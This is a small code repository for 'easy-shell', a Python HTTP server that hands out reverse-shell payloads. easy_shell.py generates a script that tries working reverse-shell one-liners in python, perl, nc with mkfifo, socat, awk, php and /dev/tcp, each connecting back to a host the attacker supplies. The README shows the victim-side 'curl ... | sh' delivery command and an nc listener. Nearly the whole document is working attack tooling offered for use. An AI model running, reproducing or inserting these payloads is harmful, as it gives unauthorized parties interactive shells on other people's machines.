├── LICENSE ├── README.md └── easy_shell.py /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Cristian Souza 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # easy-shell 2 | 3 | A pure Python script to easily get a reverse shell. 4 | 5 | ### How it works? 6 | 7 | After sending a request, it generates a payload with different commands available to get a reverse shell (python, perl, awk, and more). 8 | 9 | ### Example 10 | 11 | ##### Attacker machine 12 | ``` 13 | $ whoami 14 | attacker 15 | 16 | $ nc -l 8080 17 | sh-4.4$ whoami 18 | centos 19 | sh-4.4$ pwd 20 | /home/centos 21 | ``` 22 | 23 | ##### Target machine 24 | ``` 25 | $ whoami 26 | target 27 | 28 | $ curl http://easy-shell.xyz/192.168.0.52:8080 | sh 29 | ``` 30 | 31 | ### Running the server 32 | 33 | Edit the following lines on ```easy_shell.py``` according to your needs: 34 | 35 | ``` 36 | PORT = 8080 37 | DOMAIN = "http://127.0.0.1:{}".format(str(PORT)) 38 | 39 | HTTPS = False 40 | KEY_FILE = "keyfile.key" 41 | CERT_FILE = "certfile.cert" 42 | ``` 43 | 44 | If you want to run it over HTTPS, execute the following commands: 45 | 46 | ``` 47 | $ openssl genrsa 2048 > keyfile.key && chmod 400 keyfile.key 48 | $ openssl req -new -x509 -nodes -sha256 -days 365 -key keyfile.key -out certfile.cert 49 | ``` 50 | 51 | ### Used modules 52 | 53 | - [ssl](https://docs.python.org/3/library/ssl.html#module-ssl) 54 | - [http.server](https://docs.python.org/3/library/http.server.html#module-http.server) 55 | - [socketserver](https://docs.python.org/3/library/socketserver.html#module-socketserver) 56 | - [urllib.parse](https://docs.python.org/3/library/urllib.parse.html#module-urllib.parse) 57 | 58 | ### License 59 | 60 | This project is licensed under the 3-Clause BSD License. -------------------------------------------------------------------------------- /easy_shell.py: -------------------------------------------------------------------------------- 1 | """ 2 | Copyright 2020 Cristian Souza 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions 6 | are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, 9 | this list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 20 | "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 21 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS 22 | FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 23 | HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 24 | SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED 25 | TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 26 | PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 27 | LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 28 | NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 29 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | """ 31 | 32 | import ssl 33 | import http.server 34 | import socketserver 35 | from urllib.parse import urlparse 36 | 37 | PORT = 8080 38 | DOMAIN = "http://127.0.0.1:{}".format(PORT) 39 | 40 | HTTPS = False 41 | KEY_FILE = "keyfile.key" # openssl genrsa 2048 > keyfile.key && chmod 400 keyfile.key 42 | CERT_FILE = "certfile.cert" # openssl req -new -x509 -nodes -sha256 -days 365 -key keyfile.key -out certfile.cert 43 | 44 | USAGE = """# Usage 45 | # Attacker: nc -l port 46 | # Target: curl {}/ip:port | sh\n""".format(DOMAIN) 47 | 48 | 49 | def is_valid(host_port): 50 | """Checks if there are a host and a port.""" 51 | 52 | if len(host_port.split(":")) != 2: 53 | return False 54 | 55 | return True 56 | 57 | def generate_sh(host_port): 58 | """Generates different payloads.""" 59 | 60 | host, port = host_port.split(":") 61 | 62 | commands = { 63 | "python" : "python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((\"{}\", {})); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call([\"/bin/sh\",\"-i\"]);'".format(host, port), 64 | "perl" : "perl -e 'use Socket;$i=\"{}\";$p={};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){{open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");}};'".format(host, port), 65 | "nc" : "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} {} >/tmp/f".format(host, port), 66 | "socat" : "socat tcp-connect:{}:{} system:/bin/sh".format(host, port), 67 | "awk" : "awk 'BEGIN {{s = \"/inet/tcp/0/{}/{}\"; while(42) {{ do{{ printf \"$ \" |& s; s |& getline c; if(c){{ while ((c |& getline) > 0) print $0 |& s; close(c); }} }} while(c != \"exit\") close(s); }}}}' /dev/null".format(host, port), 68 | "php" : "php -r '$sock=fsockopen(\"{}\",{});exec(\"/bin/sh -i <&3 >&3 2>&3\");'".format(host, port), 69 | "sh" : "/bin/sh -i >& /dev/tcp/{}/{} 0>&1".format(host, port) 70 | } 71 | 72 | payload = """# Usage 73 | # Attacker: nc -l {2} 74 | # Target: curl {0}/{1}:{2} | sh\n""".format(DOMAIN, host, port) 75 | 76 | for key, value in commands.items(): 77 | # Checks whether the command exists. If so, executes the payload. 78 | payload += """ 79 | if command -v {} > /dev/null 2>&1; then 80 | {} 81 | exit; 82 | fi\n""".format(key, value) 83 | 84 | return payload 85 | 86 | class HttpRequestHandler(http.server.SimpleHTTPRequestHandler): 87 | """HTTP request handler.""" 88 | 89 | def do_GET(self): 90 | """Returns the payload or usage information;""" 91 | 92 | self.send_response(200) 93 | self.send_header("Content-type", "text/plain") 94 | self.end_headers() 95 | 96 | host_port = urlparse(self.path).path[1:] 97 | if is_valid(host_port): 98 | self.wfile.write(bytes(generate_sh(host_port), "utf8")) 99 | return 100 | 101 | self.wfile.write(bytes(USAGE, "utf8")) 102 | 103 | return 104 | 105 | def main(): 106 | """Main function.""" 107 | 108 | handler_object = HttpRequestHandler 109 | server = socketserver.TCPServer(("", PORT), handler_object) 110 | if HTTPS: 111 | server.socket = ssl.wrap_socket(server.socket, server_side=True, 112 | keyfile=KEY_FILE, certfile=CERT_FILE) 113 | server.serve_forever() 114 | 115 | if __name__ == "__main__": 116 | main() 117 | --------------------------------------------------------------------------------